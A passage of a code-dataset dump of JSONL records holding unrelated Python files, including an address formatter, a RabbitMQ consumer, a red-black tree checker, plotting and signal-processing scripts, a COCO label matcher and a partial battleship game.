self.street:\n address.append('ถนน' + str(self.street))\n if self.street2:\n address.append(str(self.street2))\n\n if self.state_id and self.state_id.code == 'BKK':\n if self.tumbon:\n address.append('แขวง' + str(self.tumbon))\n if self.city:\n address.append('เขต' + str(self.city))\n\n address.append(str(self.state_id.name))\n else:\n if self.tumbon:\n address.append('ตำบล' + str(self.tumbon))\n if self.city:\n address.append('อำเภอ' + str(self.city))\n address.append('จังหวัด' + str(self.state_id.name))\n else:\n if self.building:\n address.append(str(self.building))\n if self.roomnumber:\n address.append(str(self.roomnumber))\n if self.floornumber:\n address.append(str(self.floornumber))\n if self.village:\n address.append(str(self.village))\n if self.house_number:\n address.append(str(self.house_number))\n if self.moo_number:\n address.append(str(self.moo_number))\n if self.soi_number:\n address.append(str(self.soi_number))\n if self.street:\n address.append(str(self.street))\n if self.street2:\n address.append(str(self.street2))\n if self.tumbon:\n address.append(str(self.tumbon))\n if self.city:\n address.append(str(self.city))\n if self.state_id:\n address.append(str(self.state_id.name))\n\n if self.zip:\n address.append(str(self.zip))\n\n return address\n\n\n","sub_path":"itaas_full_address/models/res_company.py","file_name":"res_company.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"628864500","text":"#!/usr/bin/env python3\n#coding=utf8\nimport pika\nimport time\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))\nchannel = connection.channel()\nchannel.queue_declare(queue='hello_2',durable=True)\nchannel.queue_declare(queue='hello')\ndef callback(ch, method, properties, body):\n\tprint(\" [x] Received %r\" % (body,))\n\ttime.sleep(5)\n\tprint(\"[x] Done\")\n\tch.basic_ack(delivery_tag=method.delivery_tag)\nchannel.basic_consume(callback, queue='hello', no_ack=False) \nprint(\"[*] Waiting for messages. To exit press CTRL+C\")\nchannel.start_consuming()\n","sub_path":"rabbitmq/receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"214589577","text":"\"\"\"\nYou are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\n\nYou may assume the two numbers do not contain any leading zero, except the number 0 itself.\n\nexample:\nInput: (2 -> 4 -> 3) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\nExplanation: 342 + 465 = 807.\n\"\"\"\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n if l1 is None :\n return l2\n if l2 is None :\n return l1\n else:\n carry=0\n ret=ListNode(0)\n ret_Last=ret\n while (l1 or l2):\n sum=0\n if l1:\n sum+=l1.val\n l1=l1.next\n if l2:\n sum+=l2.val\n l2=l2.next\n sum+=carry\n ret_Last.next=ListNode(sum%10)\n ret_Last=ret_Last.next\n carry=(sum>=10)\n if carry:\n ret_Last.next=ListNode(1)\n ret_Last=ret.next\n del ret\n return ret_Last","sub_path":"leetcode/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"223989850","text":"import math\n\n\nclass Vertex:\n def __init__(self, value):\n self.key = value\n self.parent = None\n self.left = None\n self.right = None\n self.color = 'R'\n\n\nclass Tree:\n def __init__(self):\n self.vertexes = []\n self.root = None\n\n\ndef rb_check(vertex, is_alright, height, vertex_count):\n if not vertex:\n return True, 1, -10**10, 10**10\n elif 2 * math.log(vertex_count + 1, 2) < height:\n return False, 0, 0, 0\n else:\n is_alright_right, black_height_right, max_right, min_right = \\\n rb_check(vertex.right, True, height + 1, vertex_count)\n is_alright_left, black_height_left, max_left, min_left = \\\n rb_check(vertex.left, True, height + 1, vertex_count)\n if not is_alright_left or \\\n not is_alright_right or \\\n black_height_left != black_height_right or \\\n min_right <= vertex.key or \\\n max_left >= vertex.key or \\\n vertex.color == 'R' and vertex.parent.color == 'R':\n is_alright = False\n black_height = black_height_left\n if vertex.color == 'B':\n black_height += 1\n current_max = max(vertex.key, max_left, max_right)\n current_min = min(vertex.key, min_right, min_left)\n return is_alright, black_height, current_max, current_min\n\n\ndef main():\n string = input()\n if string[0] != '0':\n tree_size, root_index = map(int, string.split())\n tree = Tree()\n vertexes = [0] * tree_size\n information = [0] * tree_size\n for i in range(tree_size):\n vertex_information = input().split()\n vertexes[int(vertex_information[0]) - 1] = \\\n Vertex(int(vertex_information[1]))\n information[int(vertex_information[0]) - 1] = \\\n vertex_information[2:]\n for i in range(tree_size):\n left_index = information[i][0]\n right_index = information[i][1]\n color = information[i][2]\n if left_index != 'null':\n left_index = int(left_index) - 1\n vertexes[i].left = vertexes[left_index]\n vertexes[left_index].parent = vertexes[i]\n if right_index != 'null':\n right_index = int(right_index) - 1\n vertexes[i].right = vertexes[right_index]\n vertexes[right_index].parent = vertexes[i]\n vertexes[i].color = color\n tree.root = vertexes[root_index - 1]\n if tree.root.color == 'R':\n is_tree_rb = False\n else:\n is_tree_rb = rb_check(tree.root, True, 1, tree_size)[0]\n if is_tree_rb:\n print('YES')\n else:\n print('NO')\n else:\n print('YES')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Homework 5/Task_I.py","file_name":"Task_I.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"573146960","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import signal\n\n\ndef plot(x):\n plt.figure()\n plt.plot(x)\n\n\ndef quadrature(sin, cos, adc):\n Qa = (sin * adc) >> 14\n In = (cos * adc) >> 14\n return Qa, In\n\n\ndef sample_data():\n\n ADC = np.int16(np.genfromtxt('C:/Users/senag/Documents/Project_SRON/Output_files/adc_out.out', delimiter='\\n', unpack=True, dtype=float))\n # NCO data from PRU-ICSS\n SIN = np.int16(np.genfromtxt('C:/Users/senag/Documents/Project_SRON/Output_files/sin_out.out', delimiter='\\n', unpack=True, dtype=float))\n\n COS = np.int16(np.genfromtxt('C:/Users/senag/Documents/Project_SRON/Output_files/cos_out.out', delimiter='\\n', unpack=True, dtype=float))\n\n # Qa = np.int16(np.genfromtxt('C:/Users/senag/Documents/Project_SRON/Output_files/Q_out.out', delimiter='\\n', unpack=True, dtype=float))\n # In = np.int16(np.genfromtxt('C:/Users/senag/Documents/Project_SRON/Output_files/I_out.out', delimiter='\\n', unpack=True, dtype=float))\n return ADC, SIN, COS\n\n\ndef decimate(Qa, In, M):\n Qa_filt = signal.decimate(Qa, M)\n In_filt = signal.decimate(In, M)\n return Qa_filt, In_filt\n\nif __name__ == \"__main__\":\n ADC, SIN, COS = sample_data()\n Qa, In = quadrature(SIN, COS, ADC)\n Ao = 2 * np.sqrt((np.mean(Qa)**2)+(np.mean(In)**2))\n print(\"Ao: %d, Qa: %d, In: %d\" % (Ao, np.mean(Qa), np.mean(In)))\n plot(Qa)\n plot(In)\n","sub_path":"Python/Simulations/BBB-Lockin.py","file_name":"BBB-Lockin.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"347416025","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nThis purpose of this script is to provide a quick way to plot the different\nvelocity components of a Python wind model. It assumes that the output is in\ncartesian coordinates, hence the transformation back into cylindrical\ncoordinates later is fine to calculate the polodial and rotational velocity.\n\nNOTE: THIS ONLY WORKS WITH RECTILINEAR PLOTS FOR NOW - NO POLAR STUFF!!!\n\"\"\"\n\n\nimport numpy as np\nimport argparse as ap\nfrom typing import Tuple, Union, List\nfrom sys import exit\nfrom matplotlib import pyplot as plt\n\nfrom PyPython import WindPlot\nfrom PyPython import WindUtils\nfrom PyPython import PythonUtils\nfrom PyPython.Constants import CMS_TO_KMS, VLIGHT\nfrom PyPython.Error import EXIT_FAIL\n\n\nplt.rcParams['xtick.labelsize'] = 15\nplt.rcParams['ytick.labelsize'] = 15\nplt.rcParams['axes.labelsize'] = 15\n\n\ndef setup_script() \\\n -> tuple:\n \"\"\"\n Parse the different modes this script can be run from the command line.\n\n Returns\n -------\n setup: tuple\n A list containing all of the different setup of parameters for plotting.\n\n setup = (\n args.root,\n wd,\n axes_scales,\n cell_indices,\n file_ext,\n display\n )\n \"\"\"\n\n p = ap.ArgumentParser(description=__doc__)\n\n p.add_argument(\n \"root\",\n help=\"The root name of the simulation.\"\n )\n\n p.add_argument(\n \"-wd\",\n default=\".\",\n help=\"The directory containing the simulation.\"\n )\n\n p.add_argument(\n \"-u\",\n \"--units\",\n default=\"kms\",\n choices=[\"kms\", \"cms\", \"c\"],\n help=\"The unit for velocity\"\n )\n\n p.add_argument(\n \"-s\",\n \"--scales\",\n default=\"loglog\",\n choices=[\"logx\", \"logy\", \"linlin\", \"loglog\"],\n help=\"The axes scaling to use\"\n )\n\n p.add_argument(\n \"-c\",\n \"--cells\",\n default=False,\n action=\"store_true\",\n help=\"Plot using cell indices rather than spatial scales.\"\n )\n\n p.add_argument(\n \"-e\",\n \"--ext\",\n default=\"png\",\n help=\"The file extension for the output figure.\"\n )\n\n p.add_argument(\n \"--display\",\n default=False,\n action=\"store_true\",\n help=\"Display the plot before exiting the script.\"\n )\n\n args = p.parse_args()\n\n setup = (\n args.root,\n args.wd,\n args.units,\n args.scales,\n args.cells,\n args.ext,\n args.display\n )\n\n return setup\n\n\n\ndef renormalize_vector(\n a: np.ndarray, scalar: Union[float, int]\n) -> np.ndarray:\n \"\"\"\n This function is used to renormalise a 3-vector quantity.\n\n Parameters\n ----------\n a: np.ndarray\n The 3-vector to renormalise.\n scalar: Union[float, int]\n The desired length of the renormalised 3-vector.\n\n Returns\n -------\n a: np.ndarray\n The renormalised 3-vector quantity.\n \"\"\"\n\n eps = 1e-10\n n = renormalize_vector.__name__\n\n x = np.dot(a, a)\n\n if x < eps:\n # print(\"{}: Cannot renormalise a vector of length 0\".format(n))\n # print(\"{}: a = {}\".format(n, a))\n return EXIT_FAIL\n\n x = scalar / np.sqrt(x)\n a[0] *= x\n a[1] *= x\n a[2] *= x\n\n return a\n\n\ndef project_cartesian_to_cylindrical_coordinates(\n a: Union[np.ndarray, List[float]], b: Union[np.ndarray, List[float]]\n) -> np.ndarray:\n \"\"\"\n Attempt to a vector from cartesian into cylindrical coordinates.\n\n Parameters\n ----------\n a: np.ndarray\n The position of the vector in cartesian coordinates.\n b: np.ndarray\n The vector to project into cylindrical coordinates (also in cartesian\n coordinates).\n\n Returns\n -------\n result: np.ndarray\n The input vector b which is now projected into cylindrical coordinates.\n \"\"\"\n\n result = np.zeros(3)\n n_rho = np.zeros(3)\n n_z = np.zeros(3)\n\n n_rho[0] = a[0]\n n_rho[1] = a[1]\n n_rho[2] = 0\n\n rc = renormalize_vector(n_rho, 1.0)\n if type(rc) == int:\n return rc\n\n n_z[0] = n_z[1] = 0\n n_z[2] = 1\n\n n_phi = np.cross(n_z, n_rho)\n\n result[0] = np.dot(b, n_rho)\n result[1] = np.dot(b, n_phi)\n result[2] = b[2]\n\n return result\n\n\ndef velocity_plot(\n root: str, wd: str = \"./\", velocity_units: str = \"kms\", axes_scales: str = \"loglog\", use_cell_indices: bool = False,\n file_ext: str = \"png\"\n) -> Tuple[plt.Figure, plt.Axes]:\n \"\"\"\n Create a figure which shows the Cartesian velocities, as well as the\n polodial and the rotational velocity. The cylindrical coordinates will be\n evaluated assuming y = 0.\n\n Parameters\n ----------\n root: str\n The root name of the model.\n wd: str [optional]\n The directory where the simulation is stored, by default this assumes\n that it is in the calling directory.\n velocity_units: str [optional]\n The units velocity should be output in\n axes_scales: str [optional]\n The type of scaling for the axes of the figure, allowed values are\n logx, logy, loglog or linlin.\n use_cell_indices: bool [optional]\n If True then the wind will not be plotted in spatial coordinates, but\n rather cell index coordinates.\n file_ext: str [optional]\n The extension of the final output file.\n\n Returns\n -------\n fig: plt.Figure\n The matplotlib Figure object for the created plot.\n ax: plt.Axes\n The matplotlib Axes objects for the plot panels.\n \"\"\"\n\n nrows = 2\n ncols = 2\n\n fig, ax = plt.subplots(nrows, ncols, figsize=(15, 10), squeeze=False)\n\n # Set the scale to linear-linear when plotting with cell indices\n\n if use_cell_indices:\n axes_scales = \"linlin\"\n\n if velocity_units == \"kms\":\n unit_conversion_factor = CMS_TO_KMS\n elif velocity_units == \"cms\":\n unit_conversion_factor = 1.0\n elif velocity_units == \"c\":\n unit_conversion_factor = 1.0 / VLIGHT\n else:\n print(\"{}: unknown units {} -- default to cm/s. Allowed kms, cms, c.\")\n unit_conversion_factor = 1.0\n\n # First get the velocity in cartesian coordinates and then project this into\n # cylindrical coordinates. We will put everything into km/s.\n\n vx_x, vx_z, vx = WindUtils.get_wind_variable(\n root, \"v_x\", \"wind\", wd, \"rectilinear\", return_indices=use_cell_indices\n )\n vy_x, vy_z, vy = WindUtils.get_wind_variable(\n root, \"v_y\", \"wind\", wd, \"rectilinear\", return_indices=use_cell_indices\n )\n vz_x, vz_z, vz = WindUtils.get_wind_variable(\n root, \"v_z\", \"wind\", wd, \"rectilinear\", return_indices=use_cell_indices\n )\n\n vl = np.zeros_like(vx)\n vrot = np.zeros_like(vx)\n vr = np.zeros_like(vx)\n n1, n2 = vx.shape\n\n for i in range(n1):\n for j in range(n2):\n r = [vx_x[i, j], 0, vx_z[i, j]]\n # This is some horrible hack to make sure there are no NaNs :^)\n # TODO: clean up this mess\n if type(vx[i, j]) != np.float64 or type(vy[i, j]) != np.float64 or type(vz[i, j]) != np.float64:\n vl[i, j] = 0\n vrot[i, j] = 0\n vr[i, j] = 0\n else:\n v = [vx[i, j], vy[i, j], vz[i, j]]\n v_cyl = project_cartesian_to_cylindrical_coordinates(r, v)\n # If the return is an int, something has gone wrong!\n if type(v_cyl) == int:\n continue\n vl[i, j] = np.sqrt(v_cyl[0] ** 2 + v_cyl[2] ** 2) * unit_conversion_factor\n vrot[i, j] = v_cyl[1] * unit_conversion_factor\n vr[i, j] = v_cyl[0] * unit_conversion_factor\n\n vx *= unit_conversion_factor\n vy *= unit_conversion_factor\n vz *= unit_conversion_factor\n\n # Now we can finally create the plot of the different velocities\n\n index = 0\n vels = [vx, vz, vrot, vl]\n velocities_to_plot = [\"v_x\", \"v_z\", \"v_rot\", \"v_l\"]\n nsize = len(velocities_to_plot) - 1\n\n for i in range(nrows):\n for j in range(ncols):\n\n if index > nsize:\n break\n\n vel = vels[index]\n name = velocities_to_plot[index] + \" (units = {})\".format(velocity_units)\n fig, ax = WindPlot.rectilinear_wind(\n vx_x, vx_z, vel, name, \"wind\", fig, ax, i, j, scale=axes_scales\n )\n index += 1\n\n fig.tight_layout(rect=[0.015, 0.015, 0.985, 0.985])\n fig.savefig(\"{}/{}_velocities.{}\".format(wd, root, file_ext))\n\n return fig, ax\n\n\ndef main(\n setup: tuple = None\n) -> Tuple[plt.Figure, plt.Axes]:\n \"\"\"\n The main function of the script. First, the important wind quantaties are\n plotted. This is then followed by the important ions.\n\n` Parameters\n ----------\n setup: tuple\n A tuple containing the setup parameters to run the script. If this\n isn't provided, then the script will parse them from the command line.\n\n setup = (\n root,\n wd,\n axes_scales,\n cell_indices,\n file_ext,\n display\n )\n\n Returns\n -------\n fig: plt.Figure\n The matplotlib Figure object for the created plot.\n ax: plt.Axes\n The matplotlib Axes objects for the plot panels.\n \"\"\"\n\n div_len = 80\n\n if setup:\n root, wd, units, axes_scales, cell_indices, file_ext, display = setup\n else:\n root, wd, units, axes_scales, cell_indices, file_ext, display = setup_script()\n\n root = root.replace(\"/\", \"\")\n wdd = wd\n if wd == \"./\":\n wdd = \"\"\n\n print(\"-\" * div_len)\n print(\"\\nCreating velocity plots for {}{}.pf\".format(wdd, root))\n\n # First, we probably need to run windsave2table\n\n PythonUtils.windsave2table(root, wd)\n\n # Now we can plot the stuff\n\n fig, ax = velocity_plot(root, wd, units, axes_scales, cell_indices, file_ext)\n\n if display:\n plt.show()\n\n print(\"\")\n if __name__ == \"__main__\":\n print(\"-\" * div_len)\n\n return fig, ax\n\n\nif __name__ == \"__main__\":\n fig, ax = main()\n","sub_path":"examples/py_plot_velocity.py","file_name":"py_plot_velocity.py","file_ext":"py","file_size_in_byte":10083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"551590643","text":"import colorsys\nimport json\n\nFINGER_MAP = ['thumb_distal', 'thumb_intermediate', 'thumb_proximal',\n 'index_distal', 'index_intermediate', 'index_proximal',\n 'middle_distal', 'middle_intermediate', 'middle_proximal',\n 'ring_distal', 'ring_intermediate', 'ring_proximal',\n 'pinky_distal', 'pinky_intermediate', 'pinky_proximal',\n 'Hand', 'ForeArm', 'Arm'\n ]\n\nN = len(FINGER_MAP)\n\n\nclass Colorizer:\n def __init__(self, finger_map, color_map):\n self.finger_map = finger_map\n self.color_map = list(color_map)\n\n def associate_colors(self):\n finger_dict = dict()\n for n, single in enumerate(self.finger_map):\n color = self.color_map[n] + (0.0, 0)\n finger_dict[single] = color[:-1]\n\n return finger_dict\n\n\ndef main():\n hsv_tuples = [(x * 1.0 / N, 0.5, 0.5) for x in range(N)]\n rgb_tuples = map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)\n\n colorizer = Colorizer(FINGER_MAP, rgb_tuples)\n colors_map = colorizer.associate_colors()\n\n json_data = json.load(open('E:\\\\characters\\\\adobe_fuse\\\\project\\\\configurations.json'))\n print('s')\n\nif __name__ == '__main__':\n main()\n","sub_path":"Utilities.py","file_name":"Utilities.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"466643393","text":"from __future__ import print_function\nimport numpy as np\nimport aa\n\ndim = 1000\nmem = 20\ntype1 = 1\n\nnp.random.seed(1)\n\nx = np.random.randn(dim)\nQ = np.random.randn(dim,dim)\nQ = Q.T.dot(Q)\n\nstep = 0.0005\n\naa_wrk = aa.AndersonAccelerator(dim, mem, type1)\n\nfor i in range(1000):\n x_prev = np.copy(x)\n x -= step * Q.dot(x)\n aa_wrk.apply(x, x_prev)\n if i % 100 == 0:\n print('i: ', i,' err: ', np.linalg.norm(x))\n","sub_path":"python/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123351502","text":"'''\nThis file parses targeted CoCo annotation file and return a Categories obj\nthen compare them with selected labels from open image.\n\nOutputs set of label in CoCo that is similar to open image label in terminal.\n\nRun Guide:\n run with CLI\n -f \"file_name\" : file name to process, (not path)\n -p : print flag\n\ntypical run command: python3 similar_labels.py -f instances_val2017.json -p\n'''\n\nimport sys, getopt\nimport json\nfrom difflib import SequenceMatcher\n\n\nclass Categories:\n def __init__(self):\n '''\n 3 levels dict:\n level1: superclass: dict\n level2: class: dict\n level3: id: list\n '''\n self.cat_dict = {}\n self.label_list = []\n # check if superclass exist in dict\n def check_superclass(self, superclass):\n return superclass in self.cat_dict.keys()\n # check is class exist in a superclass\n def check_class(self, superclass, class_name):\n return class_name in self.cat_dict[superclass].keys()\n # check if id in is a class\n def check_id(self, superclass, class_name, class_id):\n return class_id in self.cat_dict[superclass][class_name]\n \n def add_superclass(self, superclass):\n if not self.check_superclass(superclass):\n self.cat_dict[superclass] = {}\n def add_class(self, superclass, class_name):\n if not self.check_superclass(superclass):\n self.add_superclass(superclass)\n if not self.check_class(superclass, class_name):\n self.cat_dict[superclass][class_name] = []\n self.label_list.append(class_name)\n def add_id(self, superclass, class_name, class_id):\n if not self.check_superclass(superclass):\n self.add_superclass(superclass)\n if not self.check_class(superclass, class_name):\n self.add_class(superclass, class_name)\n if not self.check_id(superclass, class_name, class_id):\n self.cat_dict[superclass][class_name].append(class_id)\n\n def __str__(self):\n total_superclass = 0\n # iter super class\n for superclass in self.cat_dict.keys():\n total_superclass += 1\n total_class = 0\n print(\"Superclass:\", superclass)\n for class_name in self.cat_dict[superclass].keys():\n print(\" -Class:\", class_name)\n total_class += 1\n for class_ids in self.cat_dict[superclass][class_name]:\n #for _id in class_ids:\n print(\" -id:\", class_ids)\n print(\" -Total Class for \" + class_name + \":\", total_class, \"\\n\")\n print(\"Total Superclass:\", total_superclass)\n return '-----------------------Done-----------------------'\n\n\ndef get_categories(filename, superclass_list, print_flag):\n c = None\n if '.json' in filename:\n filename = \"annotations/\"+filename\n fd = open(filename)\n data = json.load(fd)\n c = Categories()\n\n if print_flag:\n print(\"\\nprocessing:\", filename)\n \n for cat_set in data[\"categories\"]:\n if cat_set[\"supercategory\"] in superclass_list:\n c.add_superclass(cat_set[\"supercategory\"])\n c.add_class(cat_set[\"supercategory\"], cat_set[\"name\"])\n c.add_id(cat_set[\"supercategory\"], cat_set[\"name\"], cat_set[\"id\"])\n\n if print_flag:\n print(\"\\n\\n=================================================\")\n print(c)\n \n return c\n\n\n'''\ncompare label from coco dataset with Amenity labels I choose from \nOpen Image and output ones that are similar.\n'''\n\n# outputs similar between string a and b in range [0, 1]\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n\n# normalize str into all lowercase with no special chars\ndef normalize(str):\n return str.lower().replace(\"_\", \" \")\n\n\n# normalize all labels in label list\ndef normalize_all(label_list):\n for i in range(len(label_list)):\n label_list[i] = normalize(label_list[i])\n return label_list\n\n\nOI_labels = [\"Toilet\",\n \"Swimming_pool\",\n \"Bed\",\n \"Billiard_table\",\n \"Sink\",\n \"Fountain\",\n \"Oven\",\n \"Ceiling_fan\",\n \"Television\",\n \"Microwave_oven\",\n \"Gas_stove\",\n \"Refrigerator\",\n \"Kitchen_&_dining_room_table\",\n \"Washing_machine\",\n \"Bathtub\",\n \"Stairs\",\n \"Fireplace\",\n \"Pillow\",\n \"Mirror\",\n \"Shower\",\n \"Couch\",\n \"Countertop\",\n \"Coffeemaker\",\n \"Dishwasher\",\n \"Sofa_bed\",\n \"Tree_house\",\n \"Towel\",\n \"Porch\",\n \"Wine_rack\"]\n\nCoCo_labels = []\n\n\nprint_flag = 0\nfile_name = \"\"\nopts, args = getopt.getopt(sys.argv[1:], \"f:p\")\nfor opt, arg in opts:\n if opt == \"-f\":\n file_name = arg\n elif opt == \"-p\":\n print_flag = 1\n\n\n\n\n\n# picked superclasses\nsuperclass_list = [\"kitchen\", \"furniture\", \"electronic\", \"appliance\", \"indoor\"]\n\n# get categories obj with supercategory in superclass_list\nc = get_categories(file_name, superclass_list, print_flag)\nCoCo_labels = c.label_list\n\n\n\n\n\n# normalize all labels Open Image and CoCo\nOI_labels = normalize_all(OI_labels)\nCoCo_labels = normalize_all(CoCo_labels)\n\n\n# iterate through each of CoCo labels and get ones with >= 50% similarity\noutput_labels = []\nfor label in CoCo_labels:\n ratios = [similar(label, subset_label) for subset_label in OI_labels]\n max_ratio = max(ratios)\n\n # if max_ratio >= 0.55:\n output_labels.append(label)\n OI_correspondence = OI_labels[ratios.index(max_ratio)]\n \n print(\"Found Label: {}\\nOpen Image Correspondence: {}\\nSimilarity: {}%\".format(label, OI_correspondence, round(max_ratio*100, 2)))\n print(\"==============================================\")\n\nprint(\"\\nAll Labels:\\n\", output_labels)\n\n\n'''\nDiscard:\n ['laptop', 'mouse', 'remote', 'keyboard', 'cell phone', 'book',\n 'teddy bear']\n these are unrelated labels, so I discard them.\n\nOutput: \n ['bottle', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl', \n 'chair', 'couch', 'potted plant', 'bed', 'dining table', 'toilet', \n 'tv', 'microwave', 'oven', 'toaster', 'sink', 'refrigerator', \n 'clock', 'vase', 'scissors', 'hair drier', 'toothbrush']\n'''","sub_path":"data/CoCo/similar_labels.py","file_name":"similar_labels.py","file_ext":"py","file_size_in_byte":6248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"249296945","text":"print('Load Module handlers.schedules')\n\nfrom puppybowl.core import Schedule\n\nimport datetime\n\nd = datetime.datetime.now()\n\n@Schedule.at(datetime.time(d.hour, d.minute+1))\ndef f ():\n print('executed f')\n","sub_path":"puppybowl/handlers/schedules.py","file_name":"schedules.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"232333922","text":"from random import randint\n#Matriz dos repectivos jogadores\ncampo1 = []\ncampo2 = []\n#Nome dos usuarios\np1 = \"\"\np2 = \"\"\n#Mariz de exibição\ntab_p1 = []\ntab_p2 = []\n#contador de acertos do jogador1\ncontador_s_p1 = 0\ncontador_c_p1 = 0\ncontador_p_p1 = 0\n#contador de acertos do jogador2\ncontador_s_p2 = 0\ncontador_c_p2 = 0\ncontador_p_p2 = 0\n\nnumero_frotas = 3\n\n# Menu de Opções\ndef menu():\n print(\"Olá, seja bem vindo ao Batalha Naval!\\n\")\n print(\".:: MENU DE OPÇÕES ::. \\n\\n(1) Jogar\\n(2) Créditos\\n\") \n \n# Gerando a Matriz\ndef gerar_matriz(c):\n for i in range(0,10):\n c.append([' ']*10)\n \n# Imprimindo o Tabuleiro\ndef tabuleiro(c):\n # Quando x = 0, campo em estado inicial\n # Quando x = *, campo foi acertado\n x = 0\n print(\" | A | B | C | D | E | F | G | H | I | J |\")\n for i in c:\n print(\"-\"*45)\n x += 1\n if x != 11:\n print(\" {:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|{:^3}|\".format(x,i[0],i[1],i[2],i[3],i[4],i[5],i[6],i[7],i[8],i[9]))\n print(\"-\"*45)\n\n#Função do Submarino\ndef submarino(c):\n lin = randint(0,10)\n col = randint(0,10)\n vert = randint(0,1)\n\n try:\n #Verifica se posição é Vertical\n if vert == 1:\n #Verifica se posição Vertical está Vazia\n if c[lin][col] == \" \" and c[lin][col+1] == \" \":\n for i in range(lin,lin+1):\n for j in range(col,col+2):\n c[i][j] = 'S'\n \n #Se posição é Horizontal\n else:\n #Verifica se posição Horizontal está vazia\n if c[lin][col] == \" \" and c[lin+1][col] == \" \":\n for i in range(lin,lin+2):\n for j in range(col,col+1):\n c[i][j] = 'S'\n except:\n submarino(c)\n\n return c\n \n#Função do Cruzador\ndef cruzador(c):\n lin = randint(0,10)\n col = randint(0,10)\n vert = randint(0,1)\n\n try:\n #Verifica se posição é Vertical\n if vert == 1:\n if c[lin][col] == \" \" and c[lin][col+1] == \" \" and c[lin][col+2] == \" \":\n for i in range(lin,lin+1):\n for j in range(col,col+3):\n c[i][j] = 'C'\n #Se posição é Horizontal\n else:\n #Verifica se posição Horizontal está vazia\n if c[lin][col] == \" \" and c[lin+1][col] == \" \" and c[lin+2][col] == \" \":\n for i in range(lin,lin+3):\n for j in range(col,col+1):\n c[i][j] = 'C'\n except:\n cruzador(c)\n\n return c\n\n#Função do Porta Avião\ndef porta_aviao(c):\n lin = randint(0,10)\n col = randint(0,10)\n vert = randint(0,1)\n\n try:\n #Verifica se posição é Vertical\n if vert == 1:\n if c[lin][col] == \" \" and c[lin][col+1] == \" \" and c[lin][col+2] == \" \" and c[lin][col+3] == \" \":\n for i in range(lin,lin+1):\n for j in range(col,col+4):\n c[i][j] = 'P'\n #Se posição é Horizontal\n else:\n #Verifica se posição Horizontal está vazia\n if c[lin][col] == \" \" and c[lin+1][col] == \" \" and c[lin+2][col] == \" \" and c[lin+3][col] == \" \":\n for i in range(lin,lin+4):\n for j in range(col,col+1):\n c[i][j] = 'P'\n except:\n porta_aviao(c) \n\n return c\n \n# Inserindo a Frota no Tabuleiro\ndef inserir(c,jogador,op):\n print(\"=-=\"*20) \n\n if op == \"S\":\n\n porta_aviao(c)\n \n for i in range(2): \n cruzador(c)\n\n for i in range(3): \n submarino(c)\n \n else:\n print(f\" {jogador}, Escolha sua frota: \\n\")\n print(\" (1) Porta Avião min 0 - 1 max\\n (2) Cruzador min 0 - 2 max\\n (3) Submarino min 1 - 3 max\\n\")\n print(\"Digite 0 para Finalizar a Escolha de Frotas\")\n\n qtd_frota = 0\n qtd_p = 0\n qtd_c = 0\n qtd_s = 0\n \n #Usuario escolhe sua frota personalizada\n while qtd_frota < 6:\n print(\"=-=\"*20) \n opt = int(input(\"Escolha uma Opção: \"))\n if opt == 0:\n break \n if opt == 1 and qtd_p < 1:\n if qtd_p == 0: \n porta_aviao(c)\n qtd_p += 1\n else:\n print(\"=-=\"*20) \n print(\"!!! Você adicinou a quantidade Máxima de Porta Aviões !!!\") \n if opt == 2 and qtd_c < 2:\n if qtd_c <2: \n cruzador(c)\n qtd_c +=1\n else:\n print(\"=-=\"*20) \n print(\"!!! Você adicionou a quantidade Máxima de Cruzadores !!!\") \n if opt == 3 and qtd_s < 3:\n if qtd_s < 3: \n submarino(c)\n qtd_s +=1\n else:\n print(\"=-=\"*20) \n print(\"!!! Você adicinou a quantidade Máxima de Submarinos !!!\") \n print(\"=-=\"*20) \n print(f\" Frotas Adicionadas\\n- Porta Avião {qtd_p}\\n- Cruzador {qtd_c}\\n- Submarino {qtd_s}\")\n qtd_frota = (qtd_p + qtd_c + qtd_s)\n \n \n#Exibir pontuação\ndef exibe_pontuacao():\n #jogador 1\n print(\"=-=\"*20) \n print(f\" Estatísticas { p1 }\\n- Porta aviões acertados: { contador_p_p1 }\\n- Cruzadores acertados: { contador_c_p1 }\\n- Submarinos acertados: { contador_s_p1 }\")\n \n #jogador 2\n print(\"=-=\"*20) \n print(f\" Estatísticas { p2 }\\n- Porta aviões acertados: { contador_p_p2 }\\n- Cruzadores 